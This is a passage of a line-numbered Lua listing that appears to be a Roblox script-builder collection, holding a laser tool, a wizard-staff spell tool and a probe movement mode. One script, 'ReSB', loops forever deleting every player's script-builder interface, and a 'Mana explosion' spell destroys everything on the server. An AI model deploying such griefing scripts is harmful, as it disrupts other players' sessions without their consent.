  3898.                 asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  3899.                 probe.CFrame = workspace.CurrentCamera.Focus
  3900.             end
  3901.         end
  3902.     end
  3903. end)
  3904. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  3905.     key = k
  3906. end)
  3907. LocalPlayer:GetMouse().KeyUp:connect(function()
  3908.     key = nil
  3909. end)
  3910. game:service'RunService'.RenderStepped:connect(function()
  3911.     if LocalPlayer.Parent ~= game:service'Players' then
  3912.         if ProbeMode == false then
  3913.             if LocalPlayer.Character ~= nil then
  3914.                 if key == 'w' then
  3915.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  3916.                 elseif key == 's' then
  3917.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  3918.                 elseif key == 'd' then
  3919.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  3920.                 elseif key == 'a' then
  3921.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  3922.                 end
  3923.             end
  3924.         end
  3925.     end
  3926. end)
  3927. ]]
  3928. ReSB = [[while true do
  3929.     for inx, val in pairs(game.Players:GetPlayers()) do
  3930.         if val:FindFirstChild("PlayerGui") then
  3931.             if val.PlayerGui:FindFirstChild("SBGUI") then
  3932.                 val.PlayerGui.SBGUI:Remove()
  3933.             end
  3934.         end
  3935.     end
  3936.     wait()
  3937. end
  3938. ]]
  3939. Shoop = [[
  3940. me = game.Players.LocalPlayer
  3941. if script.Parent.className ~= "HopperBin" then
  3942. h = Instance.new("HopperBin",me.Backpack)
  3943. h.Name = "LAZOR"
  3944. script.Parent = h
  3945. end
  3946. bin = script.Parent
  3947. function prop(part, parent, collide, tran, ref, x, y, z, color)
  3948. part.Parent = parent
  3949. part.formFactor = 0
  3950. part.CanCollide = collide
  3951. part.Transparency = tran
  3952. part.Reflectance = ref
  3953. part.Size = Vector3.new(x,y,z)
  3954. part.BrickColor = BrickColor.new(color)
  3955. part.TopSurface = 0
  3956. part.BottomSurface = 0
  3957. part:BreakJoints()
  3958. end
  3959. function weld(w, p, p0, p1, a, b, c, x, y, z)
  3960. w.Parent = p
  3961. w.Part0 = p0
  3962. w.Part1 = p1
  3963. w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
  3964. end
  3965. function mesh(mesh, parent, x, y, z, type)
  3966. mesh.Parent = parent
  3967. mesh.Scale = Vector3.new(x, y, z)
  3968. mesh.MeshType = type
  3969. end
  3970. using = false
  3971. sound = Instance.new("Sound",me.Character.Head)
  3972. sound.Volume = 0.6
  3973. sound.Pitch = 1
  3974. sound.SoundId = "rbxasset://sounds/uuhhh.wav"
  3975. bin.Selected:connect(function(mouse)
  3976. mouse.Button1Down:connect(function()
  3977. if using then return end
  3978. using = true
  3979. local blagh = Instance.new("Model",me.Character)
  3980. blagh.Name = "LAZOR"
  3981. local paw = mouse.Hit.p
  3982. local pa1 = Instance.new("Part")
  3983. prop(pa1,blagh,false,0,0,1,1,1,"Really black")
  3984. local m1 = Instance.new("SpecialMesh")
  3985. mesh(m1, pa1, 1.07,1,0.3,"Brick")
  3986. local w1 = Instance.new("Weld")
  3987. weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9)
  3988. local pa2 = pa1:clone()
  3989. prop(pa2,blagh,false,0,0,1,1,1,"Really black")
  3990. local w2 = Instance.new("Weld")
  3991. weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9)
  3992. local pa3 = Instance.new("Part")
  3993. prop(pa3,blagh,false,0,0,1,1,1,"Really red")
  3994. local m3 = Instance.new("SpecialMesh")
  3995. mesh(m3,pa3,1.3,1.23,0.29,"Brick")
  3996. local w3 = Instance.new("Weld")
  3997. weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9)
  3998. local pa4 = pa3:clone()
  3999. prop(pa4,blagh,false,0,0,1,1,1,"Really red")
  4000. local w4 = Instance.new("Weld")
  4001. weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9)
  4002. local eye1a = Instance.new("Part")
  4003. prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white")
  4004. eye1a.Shape = "Ball"
  4005. local emesh1 = Instance.new("SpecialMesh")
  4006. mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere")
  4007. local ew = Instance.new("Weld")
  4008. weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1)
  4009. local eye1b = Instance.new("Part")
  4010. prop(eye1b,blagh,false,0,0,1,1,1,"Really black")
  4011. eye1b.Shape = "Ball"
  4012. local emesh1b = Instance.new("SpecialMesh")
  4013. mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere")
  4014. local ew2 = Instance.new("Weld")
  4015. weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2)
  4016. local eye2a = eye1a:clone()
  4017. prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white")
  4018. local ew3 = Instance.new("Weld")
  4019. weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1)
  4020. local eye2b = eye1b:clone()
  4021. prop(eye2b,blagh,false,0,0,1,1,1,"Really black")
  4022. local ew5 = Instance.new("Weld")
  4023. weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2)
  4024. local bill = Instance.new("BillboardGui",pa1)
  4025. bill.Adornee = bill.Parent
  4026. bill.Size = UDim2.new(0,150,0,80)
  4027. local txt = Instance.new("TextLabel",bill)
  4028. txt.Size = UDim2.new(0,0,0,0)
  4029. txt.Position = UDim2.new(0,100,0,-20)
  4030. txt.Text = "IMA FIRIN' MAH LAZORR!!"
  4031. txt.FontSize = "Size24"
  4032. txt.TextColor3 = Color3.new(0,0,0)
  4033. sound.Volume = 0.6
  4034. for i=1, 5 do
  4035. sound.Pitch = math.random(400,900)/1000
  4036. sound:play()
  4037. wait(0.1)
  4038. end
  4039. local bg = Instance.new("BodyGyro",me.Character.Torso)
  4040. bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  4041. bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
  4042. for i=1, 5 do
  4043. sound.Pitch = math.random(400,900)/1000
  4044. sound:play()
  4045. wait(0.2)
  4046. end
  4047. txt.Text = "BLAARGHH!!!!!!"
  4048. sound.Volume = 0.85
  4049. for i=1, 60 do
  4050. local dist = (me.Character.Head.Position - paw).magnitude
  4051. if dist >= 600 then
  4052. dist = 600
  4053. end
  4054. bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
  4055. sound.Pitch = math.random(550,750)/1000
  4056. sound:play()
  4057. local bewm = Instance.new("Part")
  4058. prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan")
  4059. bewm.Anchored = true
  4060. local mes = Instance.new("SpecialMesh")
  4061. mesh(mes,bewm,1.2,1.2,1,"Brick")
  4062. bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1)
  4063. local luck = math.random(1,3)
  4064. if luck == 1 then
  4065. local cfr = Instance.new("Part",blagh)
  4066. cfr.Size = Vector3.new(1,1,1)
  4067. cfr.Transparency = 1
  4068. cfr.Anchored = true
  4069. cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2)
  4070. local ex = Instance.new("Explosion")
  4071. ex.Parent = blagh
  4072. ex.Position = cfr.Position
  4073. ex.BlastRadius = 9
  4074. ex.BlastPressure = 400000
  4075. ex.Hit:connect(function(part)
  4076. if part:GetMass() < 240 then
  4077. part.Anchored = false
  4078. part:BreakJoints()
  4079. end
  4080. end)
  4081. end
  4082. wait()
  4083. bewm:remove()
  4084. end
  4085. blagh:remove()
  4086. bg:remove()
  4087. using = false
  4088. end)
  4089. end)
  4090. ]]
  4091. Wizard = [[
  4092. LocalPlayer = game.Players.LocalPlayer
  4093. Activated = false
  4094. Equipped = false
  4095. Regening = false
  4096. FireBall = false
  4097. Spikes = false
  4098. shooting = false
  4099. Mode = "Shoot"
  4100. Energy = 100
  4101. mouse = LocalPlayer:GetMouse()
  4102. t = Instance.new("Tool",LocalPlayer.Backpack)
  4103. t.Name = 'Wizard staff'
  4104. t.GripPos = Vector3.new(0,-2,0)
  4105. p = Instance.new("Part",t)
  4106. p.FormFactor = 'Custom'
  4107. p.Name = 'Handle'
  4108. p.CanCollide = false
  4109. m = Instance.new("SpecialMesh",p)
  4110. m.MeshId = 'http://www.roblox.com/asset/?id=18434043'
  4111. m.TextureId = 'http://www.roblox.com/asset/?id=26017177'
  4112. char = LocalPlayer.Character
  4113. mouse = LocalPlayer:GetMouse()
  4114. humanoid = char:findFirstChild("Humanoid")
  4115. torso = char:findFirstChild("Torso")
  4116. head = char.Head
  4117. ra = char:findFirstChild("Right Arm")
  4118. la = char:findFirstChild("Left Arm")
  4119. rl = char:findFirstChild("Right Leg")
  4120. ll = char:findFirstChild("Left Leg")
  4121. rs = torso:findFirstChild("Right Shoulder")
  4122. ls = torso:findFirstChild("Left Shoulder")
  4123. rh = torso:findFirstChild("Right Hip")
  4124. lh = torso:findFirstChild("Left Hip")
  4125. neck = torso:findFirstChild("Neck")
  4126. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  4127. anim = char:findFirstChild("Animate")
  4128. rootpart = char:findFirstChild("HumanoidRootPart")
  4129. camera = workspace.CurrentCamera
  4130. if anim then
  4131.     anim:Destroy()
  4132. end
  4133. rm = Instance.new("Motor", torso)
  4134. rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  4135. rm.C1 = CFrame.new(0, 0.5, 0)
  4136. rm.Part0 = torso
  4137. rm.Part1 = ra
  4138. lm = Instance.new("Motor", torso)
  4139. lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  4140. lm.C1 = CFrame.new(0, 0.5, 0)
  4141. lm.Part0 = torso
  4142. lm.Part1 = la
  4143. rlegm = Instance.new("Motor", torso)
  4144. rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  4145. rlegm.C1 = CFrame.new(0, 1, 0)
  4146. rlegm.Part0 = torso
  4147. rlegm.Part1 = rl
  4148. llegm = Instance.new("Motor", torso)
  4149. llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  4150. llegm.C1 = CFrame.new(0, 1, 0)
  4151. llegm.Part0 = torso
  4152. llegm.Part1 = ll
  4153. rsc0 = rm.C0
  4154. lsc0 = lm.C0
  4155. llc0 = llegm.C0
  4156. rlc0 = rlegm.C0
  4157. neckc0 = neck.C0
  4158. rootc0 = rj.C0
  4159. PLAYERGUI = LocalPlayer.PlayerGui
  4160. GUI = Instance.new("ScreenGui",PLAYERGUI)
  4161. FRAME = Instance.new("Frame",GUI)
  4162. FRAME.Size = UDim2.new(0.5,0,0.05,0)
  4163. FRAME.BackgroundColor3 = BrickColor.new("Bright blue").Color
  4164. FRAME.BorderSizePixel = 0
  4165. TEXTLABEL = Instance.new("TextLabel",FRAME)
  4166. TEXTLABEL.Size = UDim2.new(1,0,1,0)
  4167. TEXTLABEL.BackgroundTransparency = 1
  4168. TEXTLABEL.Text = "Mana: "..tostring(Energy)
  4169. TEXTLABEL.BorderSizePixel = 0
  4170. TEXTLABEL.Font = 'Legacy'
  4171. TEXTLABEL.FontSize = 'Size24'
  4172. FRAME2 = Instance.new("Frame",GUI)
  4173. FRAME2.Size = UDim2.new(0.5,0,0.05,0)
  4174. FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
  4175. FRAME2.BorderSizePixel = 0
  4176. FRAME2.Position = UDim2.new(0.5,0,0,0)
  4177. TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
  4178. TEXTLABEL2.Size = UDim2.new(1,0,1,0)
  4179. TEXTLABEL2.BackgroundTransparency = 1
  4180. TEXTLABEL2.Text = "Health: "..tostring(humanoid.Health)
  4181. TEXTLABEL2.BorderSizePixel = 0
  4182. TEXTLABEL2.Font = 'Legacy'
  4183. TEXTLABEL2.FontSize = 'Size24'
  4184. FRAME3 = Instance.new("Frame",GUI)
  4185. FRAME3.Size = UDim2.new(0.5,0,0.05,0)
  4186. FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
  4187. FRAME3.BorderSizePixel = 0
  4188. FRAME3.Position = UDim2.new(0.5,0,0.05,0)
  4189. TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
  4190. TEXTLABEL3.Size = UDim2.new(1,0,1,0)
  4191. TEXTLABEL3.BackgroundTransparency = 1
  4192. TEXTLABEL3.Text = "Spell: Star shoot"
  4193. TEXTLABEL3.BorderSizePixel = 0
  4194. TEXTLABEL3.Font = 'Legacy'
  4195. TEXTLABEL3.FontSize = 'Size24'
  4196. function __getVelocity(p1,p2,speed)
  4197.     local dis=(p1-p2).magnitude
  4198.     if speed=="dis" then
  4199.         if dis*6>100 then
  4200.             speed=dis*6
  4201.         else
  4202.             speed=100
  4203.         end
  4204.     end
  4205.     local x=(p1.x-p2.x)/dis*speed
  4206.     local y=(p1.y-p2.y)/dis*speed
  4207.     local z=(p1.z-p2.z)/dis*speed
  4208.     return Vector3.new(-x,-y+10,-z)
  4209. end
  4210. function __onActivated()
  4211.     Activated = true
  4212. end
  4213. function __onDeactivated()
  4214.     Activated = false
  4215. end
  4216. function __onEquipped(mouse)
  4217.     Equipped = true
  4218.     pcall(function()
  4219.         local a = Instance.new("Explosion",LocalPlayer.Character)
  4220.         a.Position = LocalPlayer.Character['Right Arm'].Position
  4221.         a.BlastPressure = 0
  4222.         a.BlastRadius = 20
  4223.     end)
  4224.     local b = Instance.new("Fire",p)
  4225.     b.Size = 1
  4226.     b.Color = Color3.new(0, 255, 255)
  4227.     b.SecondaryColor = Color3.new(255, 255, 0)
  4228.     local w = Instance.new("Motor",char['Right Arm'])
  4229.     w.Name = 'Wizard staff weld'
  4230.     w.Part0 = char['Right Arm']
  4231.     w.Part1 = p
  4232.     w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
  4233. end
  4234. function __onUnequipped(mouse)
  4235.     Equipped = false
  4236.     pcall(function()
  4237.         p.Fire:Destroy()
  4238.     end)
  4239.     pcall(function()
  4240.         char['Right Arm']['Wizard staff weld']:Destroy()
  4241.     end)
  4242. end
  4243. function __Shoot()
  4244.     if Regening == true then return end
  4245.     if Energy < 5 then return end
  4246.     shooting = true
  4247.     Energy = Energy - 5
  4248.     humanoid.WalkSpeed = 0
  4249.     local speed = math.random(400,500)
  4250.     local bullet = Instance.new("Part",workspace)
  4251.     bullet.Name = 'Bullet'
  4252.     bullet.TopSurface = 0
  4253.     bullet.BottomSurface = 0
  4254.     bullet.FormFactor = 'Custom'
  4255.     bullet.CFrame = p.CFrame
  4256.     bullet.CanCollide = false
  4257.     bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
  4258.     local bulletmesh = Instance.new("SpecialMesh",bullet)
  4259.     bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=24388358'
  4260.     bulletmesh.TextureId = 'http://www.roblox.com/asset/?id=24388341'
  4261.     bulletmesh.VertexColor = Vector3.new(0,0,0)
  4262.     bullet.Touched:connect(function(toucher)
  4263.         if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
  4264.             for i,v in pairs(toucher.Parent:children()) do
  4265.                 if v.ClassName == 'Humanoid' then
  4266.                     if v.Health > 100 then
  4267.                         v.Health = 100
  4268.                     else
  4269.                         v.Health = v.Health - speed/50
  4270.                     end
  4271.                 end
  4272.             end
  4273.             bullet:Destroy()
  4274.         end
  4275.     end)
  4276.     wait(1)
  4277.     shooting = false
  4278.     humanoid.WalkSpeed = 16
  4279. end
  4280. function __FireBall()
  4281.     if Regening == true then return end
  4282.     if Energy < 50 then return end
  4283.     if FireBall == true then return end
  4284.     Energy = Energy - 50
  4285.     local a = Instance.new("Part",workspace)
  4286.     a.Anchored = true
  4287.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-5)
  4288.     a.FormFactor = 'Custom'
  4289.     a.Size = Vector3.new(5,5,5)
  4290.     Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  4291.     local b = Instance.new('Decal',a)
  4292.     b.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4293.     b.Face = 'Right'
  4294.     local c = Instance.new('Decal',a)
  4295.     c.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4296.     c.Face = 'Left'
  4297.     local d = Instance.new('Decal',a)
  4298.     d.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4299.     d.Face = 'Top'
  4300.     local e = Instance.new('Decal',a)
  4301.     e.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4302.     e.Face = 'Front'
  4303.     local f = Instance.new('Decal',a)
  4304.     f.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4305.     f.Face = 'Back'
  4306.     local g = Instance.new('Decal',a)
  4307.     g.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4308.     g.Face = 'Bottom'
  4309.     local x = Instance.new('Fire',a)
  4310.     x.Size = 20
  4311.     local con = a.Touched:connect(function(what)
  4312.         if what.Parent.Name ~= LocalPlayer.Name then
  4313.             if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  4314.                 what:Destroy()
  4315.             end
  4316.         end
  4317.     end)
  4318.     coroutine.wrap(function()
  4319.         FireBall = true
  4320.         humanoid.WalkSpeed = 0
  4321.         for i = 0,1,0.05 do
  4322.             a.Mesh.Scale = Vector3.new(i,i,i)
  4323.             wait()
  4324.         end
  4325.         FireBall = false
  4326.         humanoid.WalkSpeed = 16
  4327.         while wait() do
  4328.             if a == nil or a.Parent ~= workspace then break end
  4329.             a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  4330.         end
  4331.         con:disconnect()
  4332.     end)()
  4333.     coroutine.wrap(function()
  4334.         wait(5)
  4335.         Instance.new("Explosion",workspace).Position = a.Position
  4336.         a:Destroy()
  4337.     end)()
  4338. end
  4339. function __Spikes()
  4340.     if Regening == true then return end
  4341.     if Energy < 25 then return end
  4342.     if Spikes == true then return end
  4343.     Energy = Energy - 25
  4344.     Spikes = true
  4345.     humanoid.WalkSpeed = 0
  4346.     for z = 0,6 do
  4347.         local a = Instance.new("Part",workspace)
  4348.         a.FormFactor = 'Custom'
  4349.         a.Size = Vector3.new(2.4, 3.4, 2.4)
  4350.         a.Anchored = true
  4351.         local b = Instance.new("SpecialMesh",a)
  4352.         b.MeshId = 'http://www.roblox.com/asset/?id=1033714'
  4353.         b.TextureId = 'http://www.roblox.com/asset?id=39251676'
  4354.         b.VertexColor = Vector3.new(1, 1, 1)
  4355.         b.Scale = Vector3.new(1.2, 5.4, 1.2)
  4356.         a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
  4357.         local con = a.Touched:connect(function(what)
  4358.             if what.Parent.Name ~= LocalPlayer.Name then
  4359.                 if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  4360.                     for i,v in pairs(what.Parent:children()) do
  4361.                         if v.ClassName == 'Humanoid' then
  4362.                             if v.Health > 100 then v.Health = 100 end
  4363.                             v.Health = v.Health - 10
  4364.                         end
  4365.                     end
  4366.                 end
  4367.             end
  4368.         end)
  4369.         coroutine.wrap(function()
  4370.             wait(3)
  4371.             a:Destroy()
  4372.             con:disconnect()
  4373.         end)()
  4374.         wait()
  4375.     end
  4376.     humanoid.WalkSpeed = 16
  4377.     Spikes = false
  4378. end
  4379. function __Lightning()
  4380.     if Energy < 40 then return end
  4381.     if Lightning == true then return end
  4382.     if Regening == true then return end
  4383.     humanoid.WalkSpeed = 0
  4384.     Lightning = true
  4385.     Energy = Energy - 40
  4386.     local function segment(pos1,pos2,color)
  4387.         local dis=(pos1-pos2).magnitude
  4388.         local p=Instance.new("Part")
  4389.         p.CanCollide=false
  4390.         p.FormFactor="Custom"
  4391.         p.Size=Vector3.new(.2,.2,dis)
  4392.         p.Anchored=true
  4393.         p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
  4394.         p.BrickColor=color
  4395.         return p
  4396.     end
  4397.     target = mouse.Hit
  4398.     height=200
  4399.     prev=(target*CFrame.new(0,300,0)).p
  4400.     for i=height,30,-50 do
  4401.         cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
  4402.         p=segment(prev,cur,BrickColor.new("New Yeller"))
  4403.         p.Parent=workspace
  4404.         game:service("Debris"):AddItem(p,3)
  4405.         prev=cur
  4406.         wait()
  4407.     end
  4408.     p=segment(prev,target.p,BrickColor.new("New Yeller"))
  4409.     p.Parent=workspace
  4410.     game:service("Debris"):AddItem(p,3)
  4411.     Instance.new("Explosion",workspace).Position=target.p
  4412.     wait(1)
  4413.     Lightning = false
  4414.     humanoid.WalkSpeed = 16
  4415. end
  4416. function __ManaExplosion()
  4417.     if Energy < 100 then return end
  4418.     if ManaExplosion == true then return end
  4419.     if Regening == true then return end
  4420.     humanoid.WalkSpeed = 0
  4421.     ManaExplosion = true
  4422.     Energy = Energy - 100
  4423.     local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
  4424.     for i = 0,100 do
  4425.         Fire.Size = i
  4426.         wait()
  4427.     end
  4428.     Fire:remove()
  4429.     local a = Instance.new("Explosion", LocalPlayer.Character)
  4430.     a.Position = LocalPlayer.Character.Torso.Position
  4431.     a.BlastPressure = 1e100
  4432.     a.BlastRadius = 1e100
  4433.     ManaExplosion = false
  4434.     humanoid.WalkSpeed = 16
  4435. end
  4436. t.Activated:connect(__onActivated)
  4437. t.Deactivated:connect(__onDeactivated)
  4438. t.Equipped:connect(__onEquipped)
  4439. t.Unequipped:connect(__onUnequipped)
  4440. coroutine.wrap(function()
  4441.     while wait() do
  4442.         if Activated == true then
  4443.             if Mode == 'Shoot' then
  4444.                 __Shoot()
  4445.             elseif Mode == 'FireBall' then
  4446.                 __FireBall()
  4447.             elseif Mode == 'Spikes' then
  4448.                 __Spikes()
  4449.             elseif Mode == 'Lightning' then
  4450.                 __Lightning()
  4451.             elseif Mode == 'ManaExplosion' then
  4452.                 __ManaExplosion()
  4453.             end
  4454.         end
  4455.         if Regening == true then
  4456.             Energy = Energy + 5
  4457.             wait(1)
  4458.         end
  4459.     end
  4460. end)()
  4461. mouse.KeyDown:connect(function(key)
  4462.     if key == 'r' then
  4463.         humanoid.WalkSpeed = 0
  4464.         Regening = true
  4465.     end
  4466.     if key == 'c' then
  4467.         if Mode == 'Shoot' then
  4468.             Mode = 'FireBall'
  4469.         elseif Mode == 'FireBall' then
  4470.             Mode = 'Spikes'
  4471.         elseif Mode == 'Spikes' then
  4472.             Mode = 'Lightning'
  4473.         elseif Mode == 'Lightning' then
  4474.             Mode = 'ManaExplosion'
  4475.         else
  4476.             Mode = 'Shoot'
  4477.         end
  4478.     end
  4479. end)
  4480. mouse.KeyUp:connect(function(key)
  4481.     if key == 'r' then
  4482.         humanoid.WalkSpeed = 16
  4483.         Regening = false
  4484.     end
  4485. end)
  4486. count = 0
  4487. countspeed = 0.70
  4488. coroutine.wrap(function()
  4489.     while wait() do
  4490.         if Energy > 100 then Energy = 100 end
  4491.         if Energy < 0 then Energy = 0 end
  4492.         TEXTLABEL.Text = "Mana: "..tostring(Energy)
  4493.         TEXTLABEL2.Text = "Health: "..tostring(math.floor(humanoid.Health))
  4494.         if Mode == 'Shoot' then
  4495.             TEXTLABEL3.Text = 'Spell: Star shoot (5 mana)'
  4496.         elseif Mode == 'FireBall' then
  4497.             TEXTLABEL3.Text = 'Spell: Fire ball (50 mana)'
  4498.         elseif Mode == 'Spikes' then
  4499.             TEXTLABEL3.Text = 'Spell: Spikes row (25 mana)'
  4500.         elseif Mode == 'Lightning' then
  4501.             TEXTLABEL3.Text = 'Spell: Lightning (40 mana)'
  4502.         elseif Mode == 'ManaExplosion' then
  4503.             TEXTLABEL3.Text = 'Spell: Mana explosion (100 mana) *KILLS EVERYTHING*'
  4504.         end
  4505.         count = (count % 100) + countspeed
  4506.         angle = math.pi * math.sin(math.pi*2/100*count)
  4507.         if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
  4508.             countspeed = 8
  4509.             if Equipped == false then
  4510.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  4511.             else
  4512.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4513.             end
  4514.             lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  4515.             rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  4516.             llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  4517.             neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
  4518.             rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
  4519.             wait()
  4520.         elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
  4521.             if shooting then
  4522.                 countspeed = 8
  4523.                 rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
  4524.                 rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
  4525.                 llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
  4526.                 lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
  4527.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
  4528.             elseif Regening == true then
  4529.                 if Energy == 100 then Regening = false end
  4530.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4531.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4532.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4533.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
  4534.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
  4535.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4536.             elseif FireBall == true then
  4537.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4538.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4539.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4540.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  4541.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  4542.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4543.             elseif Spikes == true then
  4544.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4545.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4546.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4547.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  4548.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  4549.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4550.             elseif Lightning == true then
  4551.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4552.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4553.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4554.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  4555.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  4556.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  4557.             elseif ManaExplosion == true then
  4558.                 coroutine.wrap(function()
  4559.                     for i = 0,360 do
  4560.                         rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4561.                         wait()
  4562.                     end
  4563.                 end)()
  4564.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4565.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4566.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  4567.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  4568.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  4569.             else
  4570.                 countspeed = 0.70-- this judges how fast idle animation goes
  4571.                 rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
  4572.                 llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
  4573.                 lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
  4574.                 if Equipped == false then
